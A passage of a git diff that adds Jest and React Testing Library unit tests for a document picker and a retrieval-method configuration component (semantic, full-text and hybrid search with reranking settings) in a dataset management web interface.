+      it('should handle two files', () => {
+        renderComponent({
+          files: createMockDocumentList(2),
+        })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+
+      it('should handle many files', () => {
+        renderComponent({
+          files: createMockDocumentList(50),
+        })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+    })
+
+    describe('className variations', () => {
+      it('should apply custom className', () => {
+        renderComponent({ className: 'my-custom-class' })
+
+        const trigger = screen.getByTestId('portal-trigger')
+        expect(trigger.querySelector('.my-custom-class')).toBeInTheDocument()
+      })
+
+      it('should work without className', () => {
+        renderComponent({ className: undefined })
+
+        expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+      })
+
+      it('should handle multiple class names', () => {
+        renderComponent({ className: 'class-one class-two' })
+
+        const trigger = screen.getByTestId('portal-trigger')
+        const element = trigger.querySelector('.class-one')
+        expect(element).toBeInTheDocument()
+        expect(element).toHaveClass('class-two')
+      })
+    })
+
+    describe('extension variations', () => {
+      const extensions = [
+        { ext: 'txt', icon: 'file-text-icon' },
+        { ext: 'pdf', icon: 'file-pdf-icon' },
+        { ext: 'docx', icon: 'file-word-icon' },
+        { ext: 'xlsx', icon: 'file-excel-icon' },
+        { ext: 'md', icon: 'file-markdown-icon' },
+      ]
+
+      test.each(extensions)('should render correct icon for $ext extension', ({ ext, icon }) => {
+        renderComponent({
+          value: createMockDocumentItem({ extension: ext }),
+          files: [], // Use empty files to avoid duplicate icons
+        })
+
+        expect(screen.getByTestId(icon)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Tests for document list rendering
+  describe('Document List Rendering', () => {
+    it('should render all documents in the list', () => {
+      const files = createMockDocumentList(5)
+      renderComponent({ files })
+
+      // All documents should be visible
+      files.forEach((file) => {
+        expect(screen.getByText(file.name)).toBeInTheDocument()
+      })
+    })
+
+    it('should pass onChange handler to DocumentList', () => {
+      const onChange = jest.fn()
+      const files = createMockDocumentList(3)
+
+      renderComponent({ files, onChange })
+
+      // Click on first document
+      fireEvent.click(screen.getByText('Document 1'))
+
+      expect(onChange).toHaveBeenCalledWith(files[0])
+    })
+
+    it('should show count header only for multiple files', () => {
+      // Single file - no header
+      const { rerender } = render(
+        <PreviewDocumentPicker
+          value={createMockDocumentItem()}
+          files={[createMockDocumentItem({ name: 'Single File' })]}
+          onChange={jest.fn()}
+        />,
+      )
+      expect(screen.queryByText(/files/)).not.toBeInTheDocument()
+
+      // Multiple files - show header
+      rerender(
+        <PreviewDocumentPicker
+          value={createMockDocumentItem()}
+          files={createMockDocumentList(3)}
+          onChange={jest.fn()}
+        />,
+      )
+      expect(screen.getByText('3 files')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for visual states
+  describe('Visual States', () => {
+    it('should apply hover styles on trigger', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      const innerDiv = trigger.querySelector('.hover\\:bg-state-base-hover')
+      expect(innerDiv).toBeInTheDocument()
+    })
+
+    it('should have truncate class for long names', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: 'Very Long Document Name' }),
+      })
+
+      const nameElement = screen.getByText('Very Long Document Name')
+      expect(nameElement).toHaveClass('truncate')
+    })
+
+    it('should have max-width on name element', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: 'Test' }),
+      })
+
+      const nameElement = screen.getByText('Test')
+      expect(nameElement).toHaveClass('max-w-[200px]')
+    })
+  })
+
+  // Tests for handleChange callback
+  describe('handleChange Callback', () => {
+    it('should call onChange with selected document item', () => {
+      const onChange = jest.fn()
+      const files = createMockDocumentList(3)
+
+      renderComponent({ files, onChange })
+
+      // Click first document
+      fireEvent.click(screen.getByText('Document 1'))
+
+      expect(onChange).toHaveBeenCalledWith(files[0])
+    })
+
+    it('should handle different document items in files', () => {
+      const onChange = jest.fn()
+      const customFiles = [
+        { id: 'custom-1', name: 'Custom File 1', extension: 'pdf' },
+        { id: 'custom-2', name: 'Custom File 2', extension: 'txt' },
+      ]
+
+      renderComponent({ files: customFiles, onChange })
+
+      // Click on first custom file
+      fireEvent.click(screen.getByText('Custom File 1'))
+      expect(onChange).toHaveBeenCalledWith(customFiles[0])
+
+      // Click on second custom file
+      fireEvent.click(screen.getByText('Custom File 2'))
+      expect(onChange).toHaveBeenCalledWith(customFiles[1])
+    })
+
+    it('should work with multiple sequential selections', () => {
+      const onChange = jest.fn()
+      const files = createMockDocumentList(3)
+
+      renderComponent({ files, onChange })
+
+      // Select multiple documents sequentially
+      fireEvent.click(screen.getByText('Document 1'))
+      fireEvent.click(screen.getByText('Document 3'))
+      fireEvent.click(screen.getByText('Document 2'))
+
+      expect(onChange).toHaveBeenCalledTimes(3)
+      expect(onChange).toHaveBeenNthCalledWith(1, files[0])
+      expect(onChange).toHaveBeenNthCalledWith(2, files[2])
+      expect(onChange).toHaveBeenNthCalledWith(3, files[1])
+    })
+  })
+})
diff --git a/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx b/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx
new file mode 100644
index 0000000000..7d5edb3dbb
--- /dev/null
+++ b/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx
@@ -0,0 +1,905 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import type { RetrievalConfig } from '@/types/app'
+import { RETRIEVE_METHOD } from '@/types/app'
+import {
+  DEFAULT_WEIGHTED_SCORE,
+  RerankingModeEnum,
+  WeightedScoreEnum,
+} from '@/models/datasets'
+import RetrievalMethodConfig from './index'
+
+// Mock provider context with controllable supportRetrievalMethods
+let mockSupportRetrievalMethods: RETRIEVE_METHOD[] = [
+  RETRIEVE_METHOD.semantic,
+  RETRIEVE_METHOD.fullText,
+  RETRIEVE_METHOD.hybrid,
+]
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    supportRetrievalMethods: mockSupportRetrievalMethods,
+  }),
+}))
+
+// Mock model hooks with controllable return values
+let mockRerankDefaultModel: { provider: { provider: string }; model: string } | undefined = {
+  provider: { provider: 'test-provider' },
+  model: 'test-rerank-model',
+}
+let mockIsRerankDefaultModelValid: boolean | undefined = true
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({
+  useModelListAndDefaultModelAndCurrentProviderAndModel: () => ({
+    defaultModel: mockRerankDefaultModel,
+    currentModel: mockIsRerankDefaultModelValid,
+  }),
+}))
+
+// Mock child component RetrievalParamConfig to simplify testing
+jest.mock('../retrieval-param-config', () => ({
+  __esModule: true,
+  default: ({ type, value, onChange, showMultiModalTip }: {
+    type: RETRIEVE_METHOD
+    value: RetrievalConfig
+    onChange: (v: RetrievalConfig) => void
+    showMultiModalTip?: boolean
+  }) => (
+    <div data-testid={`retrieval-param-config-${type}`}>
+      <span data-testid="param-config-type">{type}</span>
+      <span data-testid="param-config-multimodal-tip">{String(showMultiModalTip)}</span>
+      <button
+        data-testid={`update-top-k-${type}`}
+        onClick={() => onChange({ ...value, top_k: 10 })}
+      >
+        Update Top K
+      </button>
+    </div>
+  ),
+}))
+
+// Factory function to create mock RetrievalConfig
+const createMockRetrievalConfig = (overrides: Partial<RetrievalConfig> = {}): RetrievalConfig => ({
+  search_method: RETRIEVE_METHOD.semantic,
+  reranking_enable: false,
+  reranking_model: {
+    reranking_provider_name: '',
+    reranking_model_name: '',
+  },
+  top_k: 4,
+  score_threshold_enabled: false,
+  score_threshold: 0.5,
+  ...overrides,
+})
+
+// Helper to render component with default props
+const renderComponent = (props: Partial<React.ComponentProps<typeof RetrievalMethodConfig>> = {}) => {
+  const defaultProps = {
+    value: createMockRetrievalConfig(),
+    onChange: jest.fn(),
+  }
+  return render(<RetrievalMethodConfig {...defaultProps} {...props} />)
+}
+
+describe('RetrievalMethodConfig', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Reset mock values to defaults
+    mockSupportRetrievalMethods = [
+      RETRIEVE_METHOD.semantic,
+      RETRIEVE_METHOD.fullText,
+      RETRIEVE_METHOD.hybrid,
+    ]
+    mockRerankDefaultModel = {
+      provider: { provider: 'test-provider' },
+      model: 'test-rerank-model',
+    }
+    mockIsRerankDefaultModelValid = true
+  })
+
+  // Tests for basic rendering
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+    })
+
+    it('should render all three retrieval methods when all are supported', () => {
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.full_text_search.title')).toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument()
+    })
+
+    it('should render descriptions for all retrieval methods', () => {
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.description')).toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.full_text_search.description')).toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.hybrid_search.description')).toBeInTheDocument()
+    })
+
+    it('should only render semantic search when only semantic is supported', () => {
+      mockSupportRetrievalMethods = [RETRIEVE_METHOD.semantic]
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.hybrid_search.title')).not.toBeInTheDocument()
+    })
+
+    it('should only render fullText search when only fullText is supported', () => {
+      mockSupportRetrievalMethods = [RETRIEVE_METHOD.fullText]
+      renderComponent()
+
+      expect(screen.queryByText('dataset.retrieval.semantic_search.title')).not.toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.full_text_search.title')).toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.hybrid_search.title')).not.toBeInTheDocument()
+    })
+
+    it('should only render hybrid search when only hybrid is supported', () => {
+      mockSupportRetrievalMethods = [RETRIEVE_METHOD.hybrid]
+      renderComponent()
+
+      expect(screen.queryByText('dataset.retrieval.semantic_search.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument()
+    })
+
+    it('should render nothing when no retrieval methods are supported', () => {
+      mockSupportRetrievalMethods = []
+      const { container } = renderComponent()
+
+      // Only the wrapper div should exist
+      expect(container.firstChild?.childNodes.length).toBe(0)
+    })
+
+    it('should show RetrievalParamConfig for the active method', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+      })
+
+      expect(screen.getByTestId('retrieval-param-config-semantic_search')).toBeInTheDocument()
+      expect(screen.queryByTestId('retrieval-param-config-full_text_search')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('retrieval-param-config-hybrid_search')).not.toBeInTheDocument()
+    })
+
+    it('should show RetrievalParamConfig for fullText when active', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }),
+      })
+
+      expect(screen.queryByTestId('retrieval-param-config-semantic_search')).not.toBeInTheDocument()
+      expect(screen.getByTestId('retrieval-param-config-full_text_search')).toBeInTheDocument()
+      expect(screen.queryByTestId('retrieval-param-config-hybrid_search')).not.toBeInTheDocument()
+    })
+
+    it('should show RetrievalParamConfig for hybrid when active', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }),
+      })
+
+      expect(screen.queryByTestId('retrieval-param-config-semantic_search')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('retrieval-param-config-full_text_search')).not.toBeInTheDocument()
+      expect(screen.getByTestId('retrieval-param-config-hybrid_search')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for props handling
+  describe('Props', () => {
+    it('should pass showMultiModalTip to RetrievalParamConfig', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        showMultiModalTip: true,
+      })
+
+      expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('true')
+    })
+
+    it('should default showMultiModalTip to false', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+      })
+
+      expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('false')
+    })
+
+    it('should apply disabled state to option cards', () => {
+      renderComponent({ disabled: true })
+
+      // When disabled, clicking should not trigger onChange
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]')
+      expect(semanticOption).toHaveClass('cursor-not-allowed')
+    })
+
+    it('should default disabled to false', () => {
+      renderComponent()
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]')
+      expect(semanticOption).not.toHaveClass('cursor-not-allowed')
+    })
+  })
+
+  // Tests for user interactions and event handlers
+  describe('User Interactions', () => {
+    it('should call onChange when switching to semantic search', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.semantic,
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should call onChange when switching to fullText search', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(fullTextOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should call onChange when switching to hybrid search', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.hybrid,
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should not call onChange when clicking the already active method', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).not.toHaveBeenCalled()
+    })
+
+    it('should not call onChange when disabled', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+        disabled: true,
+      })
+
+      const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor"]')
+      fireEvent.click(fullTextOption!)
+
+      expect(onChange).not.toHaveBeenCalled()
+    })
+
+    it('should propagate onChange from RetrievalParamConfig', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const updateButton = screen.getByTestId('update-top-k-semantic_search')
+      fireEvent.click(updateButton)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          top_k: 10,
+        }),
+      )
+    })
+  })
+
+  // Tests for reranking model configuration
+  describe('Reranking Model Configuration', () => {
+    it('should set reranking model when switching to semantic and model is valid', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: {
+            reranking_provider_name: 'test-provider',
+            reranking_model_name: 'test-rerank-model',
+          },
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should preserve existing reranking model when switching', () => {
+      const onChange = jest.fn()
+      const existingModel = {
+        reranking_provider_name: 'existing-provider',
+        reranking_model_name: 'existing-model',
+      }
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: existingModel,
+        }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: existingModel,
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should set reranking_enable to false when no valid model', () => {
+      mockIsRerankDefaultModelValid = false
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_enable: false,
+        }),
+      )
+    })
+
+    it('should set reranking_mode for hybrid search', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.hybrid,
+          reranking_mode: RerankingModeEnum.RerankingModel,
+        }),
+      )
+    })
+
+    it('should set weighted score mode when no valid rerank model for hybrid', () => {
+      mockIsRerankDefaultModelValid = false
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_mode: RerankingModeEnum.WeightedScore,
+        }),
+      )
+    })
+
+    it('should set default weights for hybrid search when no existing weights', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          weights: undefined,
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          weights: {
+            weight_type: WeightedScoreEnum.Customized,
+            vector_setting: {
+              vector_weight: DEFAULT_WEIGHTED_SCORE.other.semantic,
+              embedding_provider_name: '',
+              embedding_model_name: '',
+            },
+            keyword_setting: {
+              keyword_weight: DEFAULT_WEIGHTED_SCORE.other.keyword,
+            },
+          },
+        }),
+      )
+    })
+
+    it('should preserve existing weights for hybrid search', () => {
+      const existingWeights = {
+        weight_type: WeightedScoreEnum.Customized,
+        vector_setting: {
+          vector_weight: 0.8,
+          embedding_provider_name: 'test-embed-provider',
+          embedding_model_name: 'test-embed-model',
+        },
+        keyword_setting: {
+          keyword_weight: 0.2,
+        },
+      }
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          weights: existingWeights,
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          weights: existingWeights,
+        }),
+      )
+    })
+
+    it('should use RerankingModel mode and enable reranking for hybrid when existing reranking model', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          reranking_model: {
+            reranking_provider_name: 'existing-provider',
+            reranking_model_name: 'existing-model',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.hybrid,
+          reranking_enable: true,
+          reranking_mode: RerankingModeEnum.RerankingModel,
+        }),
+      )
+    })
+  })
+
+  // Tests for callback stability and memoization
+  describe('Callback Stability', () => {
+    it('should maintain stable onSwitch callback when value changes', () => {
+      const onChange = jest.fn()
+      const value1 = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText, top_k: 4 })
+      const value2 = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText, top_k: 8 })
+
+      const { rerender } = render(
+        <RetrievalMethodConfig value={value1} onChange={onChange} />,
+      )
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+
+      rerender(<RetrievalMethodConfig value={value2} onChange={onChange} />)
+
+      fireEvent.click(semanticOption!)
+      expect(onChange).toHaveBeenCalledTimes(2)
+    })
+
+    it('should use updated onChange callback after rerender', () => {
+      const onChange1 = jest.fn()
+      const onChange2 = jest.fn()
+      const value = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText })
+
+      const { rerender } = render(
+        <RetrievalMethodConfig value={value} onChange={onChange1} />,
+      )
+
+      rerender(<RetrievalMethodConfig value={value} onChange={onChange2} />)
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange1).not.toHaveBeenCalled()
+      expect(onChange2).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // Tests for component memoization
+  describe('Component Memoization', () => {
+    it('should be memoized with React.memo', () => {
+      // Verify the component is wrapped with React.memo by checking its displayName or type
+      expect(RetrievalMethodConfig).toBeDefined()
+      // React.memo components have a $$typeof property
+      expect((RetrievalMethodConfig as any).$$typeof).toBeDefined()
+    })
+
+    it('should not re-render when props are the same', () => {
+      const onChange = jest.fn()
+      const value = createMockRetrievalConfig()
+
+      const { rerender } = render(
+        <RetrievalMethodConfig value={value} onChange={onChange} />,
+      )
+
+      // Rerender with same props reference
+      rerender(<RetrievalMethodConfig value={value} onChange={onChange} />)
+
+      // Component should still be rendered correctly
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for edge cases and error handling
+  describe('Edge Cases', () => {
+    it('should handle undefined reranking_model', () => {
+      const onChange = jest.fn()
+      const value = createMockRetrievalConfig({
+        search_method: RETRIEVE_METHOD.fullText,
+      })
+      // @ts-expect-error - Testing edge case
+      value.reranking_model = undefined
+
+      renderComponent({
+        value,
+        onChange,
+      })
+
+      // Should not crash
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+    })
+
+    it('should handle missing default model', () => {
+      mockRerankDefaultModel = undefined
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+      )
+    })
+
+    it('should use fallback empty string when default model provider is undefined', () => {
+      // @ts-expect-error - Testing edge case where provider is undefined
+      mockRerankDefaultModel = { provider: undefined, model: 'test-model' }
+      mockIsRerankDefaultModelValid = true
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: 'test-model',
+          },
+        }),
+      )
+    })
+
+    it('should use fallback empty string when default model name is undefined', () => {
+      // @ts-expect-error - Testing edge case where model is undefined
+      mockRerankDefaultModel = { provider: { provider: 'test-provider' }, model: undefined }
+      mockIsRerankDefaultModelValid = true
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: {
+            reranking_provider_name: 'test-provider',
+            reranking_model_name: '',
+          },
+        }),
+      )
+    })
+
+    it('should handle rapid sequential clicks', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor-pointer"]')
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+
+      // Rapid clicks
+      fireEvent.click(fullTextOption!)
+      fireEvent.click(hybridOption!)
+      fireEvent.click(fullTextOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(3)
+    })
+
+    it('should handle empty supportRetrievalMethods array', () => {
+      mockSupportRetrievalMethods = []
+      const { container } = renderComponent()
+
+      expect(container.querySelector('[class*="flex-col"]')?.childNodes.length).toBe(0)
+    })
+
+    it('should handle partial supportRetrievalMethods', () => {
+      mockSupportRetrievalMethods = [RETRIEVE_METHOD.semantic, RETRIEVE_METHOD.hybrid]
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument()
+    })
+
+    it('should handle value with all optional fields set', () => {
+      const fullValue = createMockRetrievalConfig({
+        search_method: RETRIEVE_METHOD.hybrid,
+        reranking_enable: true,
+        reranking_model: {
+          reranking_provider_name: 'provider',
+          reranking_model_name: 'model',
+        },
+        top_k: 10,
+        score_threshold_enabled: true,
+        score_threshold: 0.8,
+        reranking_mode: RerankingModeEnum.WeightedScore,
+        weights: {
+          weight_type: WeightedScoreEnum.Customized,
+          vector_setting: {
+            vector_weight: 0.6,
+            embedding_provider_name: 'embed-provider',
+            embedding_model_name: 'embed-model',
+          },
+          keyword_setting: {
+            keyword_weight: 0.4,
+          },
+        },
+      })
+
+      renderComponent({ value: fullValue })
+
+      expect(screen.getByTestId('retrieval-param-config-hybrid_search')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for all prop variations
+  describe('Prop Variations', () => {
+    it('should render with minimum required props', () => {
+      const { container } = render(
+        <RetrievalMethodConfig
+          value={createMockRetrievalConfig()}
+          onChange={jest.fn()}
+        />,
+      )
+
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render with all props set', () => {
+      renderComponent({
+        disabled: true,
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }),
+        showMultiModalTip: true,
+        onChange: jest.fn(),
+      })
+
+      expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument()
+    })
+
+    describe('disabled prop variations', () => {
+      it('should handle disabled=true', () => {
+        renderComponent({ disabled: true })
+        const option = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]')
+        expect(option).toHaveClass('cursor-not-allowed')
+      })
+
+      it('should handle disabled=false', () => {
+        renderComponent({ disabled: false })
+        const option = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]')
+        expect(option).toHaveClass('cursor-pointer')
+      })
+    })
+
+    describe('search_method variations', () => {
+      const methods = [
+        RETRIEVE_METHOD.semantic,
+        RETRIEVE_METHOD.fullText,
+        RETRIEVE_METHOD.hybrid,
+      ]
+
+      test.each(methods)('should correctly highlight %s when active', (method) => {
+        renderComponent({
+          value: createMockRetrievalConfig({ search_method: method }),
+        })
+
+        // The active method should have its RetrievalParamConfig rendered
+        expect(screen.getByTestId(`retrieval-param-config-${method}`)).toBeInTheDocument()
+      })
+    })
